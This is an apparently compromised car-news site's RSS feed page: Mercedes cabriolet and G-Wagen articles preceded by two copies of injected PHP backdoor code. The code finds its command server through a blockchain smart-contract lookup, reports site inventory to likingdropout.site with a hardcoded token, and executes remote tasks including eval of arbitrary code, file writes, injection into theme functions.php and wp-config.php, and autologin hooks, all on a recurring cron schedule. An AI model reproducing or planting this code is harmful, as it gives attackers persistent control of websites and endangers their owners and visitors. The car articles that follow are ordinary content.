// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Cabriolet – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 06 May 2018 23:52:01 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Cabriolet – Brief News https://briefnews.eu 32 32 We drove a 1989 Mercedes G Wagen Cabriolet and it was awesome https://briefnews.eu/we-drove-a-1989-mercedes-g-wagen-cabriolet-and-it-was-awesome/ https://briefnews.eu/we-drove-a-1989-mercedes-g-wagen-cabriolet-and-it-was-awesome/#respond Sun, 06 May 2018 23:52:01 +0000 http://briefnews.eu/we-drove-a-1989-mercedes-g-wagen-cabriolet-and-it-was-awesome/ It was like telling a fourth grade class they were going to Disneyland. Upon landing in southern France to drive the 2019 Mercedes-Benz G-Class, the assembled group of jet lagged automotive writers were informed that they were not only about to drive the first next-generation G-Class ever (incredibly cool and exciting in its own right) but were also going to get a chance to drive a selection of classic G Wagens as well. An audible gasp was heard. We started looking around at each other, child-like smiles slicing across our eager faces. Our impending experience just went from “excited” to “Oh my god! Oh my god! Oh my god!”

As you can see from this giddy, goofy selfie taken in the middle of my drive.

There were a handful of classic G-Wagens from which to choose, all from the 1980s, including one used as a Mercedes service truck and another that served duty with a fire service in Italy. There was also a four-door “Wagon” with a gas engine, an automatic and safari-spec white paint, but the most obvious, “I have to drive this” choice was the 1989 300GD two-door Cabriolet painted a very cool ice blue. If there was anything that would provide the ultimate juxtaposition between old and the all-newest of all-new 2019 G-Class, this was it.

So I jumped into its achingly awesome plaid driver seat, pressed “Record” on the GoPro, and away I went.

As you can see above, one of the takeaways was how easy it was to drive. After driving the Italian fire service G Wagen made a few years prior, it was evident that there were some mechanical improvements made during the 1980s, specifically in regards to that manual transmission. The fire G’s shifter was pleasantly longer and easy to reach, but its throws were also much longer and it was harder to slot into gear. It was still far easier to row than a contemporary Porsche 911, but still. The older G also had a much larger steering wheel, that perhaps made it easier to steer at slower speed, but added to the comic driving experience at highway speeds.

Meanwhile, to say that the 2.3-liter gasoline engine and automatic transmission in the heavier four-door wagon made the G slower would be an understatement. Holy sauerkraut was it slow. Atrocious throttle response as well. Foot to floor, nada.

So, top consumer tip here: when buying an old G Wagen, get the manual.

And yes, the experience was as awesome as we could’ve hoped for, and of the assembled classic G’s, I was correct in my assumption that the blue cabriolet would be the most charming. Part of me regrets not making off with keys and setting off for nearby Andorra and returning sometime in August when I’ve grown tired of driving around in something so awesome. Or the damn noise. That would probably happen first.

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]]> https://briefnews.eu/we-drove-a-1989-mercedes-g-wagen-cabriolet-and-it-was-awesome/feed/ 0 2019 Mercedes-Benz C-class Coupe and Cabriolet: More Power Leads the Updates – Official Photos and Info https://briefnews.eu/2019-mercedes-benz-c-class-coupe-and-cabriolet-more-power-leads-the-updates-official-photos-and-info/ https://briefnews.eu/2019-mercedes-benz-c-class-coupe-and-cabriolet-more-power-leads-the-updates-official-photos-and-info/#respond Wed, 21 Mar 2018 02:53:39 +0000 http://briefnews.eu/2019-mercedes-benz-c-class-coupe-and-cabriolet-more-power-leads-the-updates-official-photos-and-info/ –2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic–2019 Mercedes-AMG C43 coupe 4Matic twin-turbocharged 3.0-liter V-6 engine–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet–2019 Mercedes-Benz C-class cabriolet turbocharged 2.0-liter inline-4 engine—

]]> https://briefnews.eu/2019-mercedes-benz-c-class-coupe-and-cabriolet-more-power-leads-the-updates-official-photos-and-info/feed/ 0 2019 Mercedes-Benz C-Class Coupe and Cabriolet revealed ahead of New York https://briefnews.eu/2019-mercedes-benz-c-class-coupe-and-cabriolet-revealed-ahead-of-new-york/ https://briefnews.eu/2019-mercedes-benz-c-class-coupe-and-cabriolet-revealed-ahead-of-new-york/#respond Wed, 21 Mar 2018 01:53:56 +0000 http://briefnews.eu/2019-mercedes-benz-c-class-coupe-and-cabriolet-revealed-ahead-of-new-york/
After their four-door siblings bowed at the Geneva Motor Show, the 2019 Mercedes-Benz C-Class Coupe and Cabriolet will send their greetings to the world at the New York Auto Show. Naturally, most of the story here carries over from the sedans.

The AMG C 43 two-door gets daubed with the same newness, including the more powerful 3.0-liter 385-horsepower twin-turbo V6, faster shifting from the nine-speed automatic, restyled bumpers, aero-optimized wheels, a sharper rear diffuser, and quartet of round tailpipes. On the other end of the performance spectrum, the C 300’s 2.0-liter four-cylinder gains 14 more horses, for 255 in total.

All models employ standard LED headlights with a slightly different design of elements in the housing. For the first time on the C-Class range, Ultra Wide Highbeam is available. In auto mode, Adaptive Highbeam Assist Plus controls high-beam activation depending on whether it detects other vehicles ahead in the same lane or oncoming traffic. When driving faster than 25 mph, the high beams will illuminate if the system doesn’t register anyone else on the road. In back, the LED taillights get “more accentuated.”

Across the range, changes include a new COMAND screen that increases in size from 7 inches to 10.25. The optional 12.3-inch digital Instrument cluster displays in “Classic,” “Progressive,” and “Sport” themes. The new steering wheel now features two touch-sensitive buttons that control a variety of functions, from adaptive cruise control to the standard Apple Carplay and Android Auto. Those who prefer digital control through the center console knob will now get haptic feedback. Vocal types can bark orders for everything from infotainment to seat heating levels.

In the exterior aesthetics department, the refresh marks the first time the darker-than-black Night Package is available on the C-Class Cabriolet. A new Mojave Silver Metallic joins the menu for both hardtop and softtop, while Graphite Grey is an exclusive color for the softtop. Inside, Magma Grey/Black joins the color palette, and new center console options include Natural Grain Brown Walnut and Natural Grain Grey Oak trim.

The list of 11 available driver assistance technologies get bolstered by improved radar and camera systems, resulting in enhanced features like Active Lane Change Assist and Evasive Steering Assist. By folding map and navigation data into assistance functions, Active Distance Assist Distronic can predictively adjust vehicle speed when approaching a bend or a roundabout.

All six variants — rear-wheel-drive Coupe and Cabriolet, 4Matic Coupe and Cabriolet, AMG Coupe and Cabriolet — will reach dealers late this year.

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]]> https://briefnews.eu/2019-mercedes-benz-c-class-coupe-and-cabriolet-revealed-ahead-of-new-york/feed/ 0 Mercedes-Benz S-Class Coupe, Cabriolet get even more luxurious https://briefnews.eu/mercedes-benz-s-class-coupe-cabriolet-get-even-more-luxurious/ https://briefnews.eu/mercedes-benz-s-class-coupe-cabriolet-get-even-more-luxurious/#respond Mon, 05 Mar 2018 15:51:49 +0000 http://briefnews.eu/mercedes-benz-s-class-coupe-cabriolet-get-even-more-luxurious/

Mercedes-Benz is making its top-of-the-line S-Class coupe and convertibles even more luxe by planning to unveil Exclusive Editions at the Geneva Motor Show. They’ll go on sale at the beginning of April and be available with almost any S-Class V8 or V12 engine.

The Exclusive Edition comes with a choice of aragonite silver or rubellite red paint finishes, with the soft top on the cabriolet available in dark red or beige, depending on the paint finish. Standard features include LED Intelligent Light System with Swarovski crystals and “Exclusive Edition” lettering on the center console cup holder cover. There’s also 19-inch light-alloy wheels painted in either aragonite silver or himalaya grey with thulium silver, while the AMG line comes with the option of 20-inch multi-spoke light-alloy wheels painted in black with a high-sheen finish.

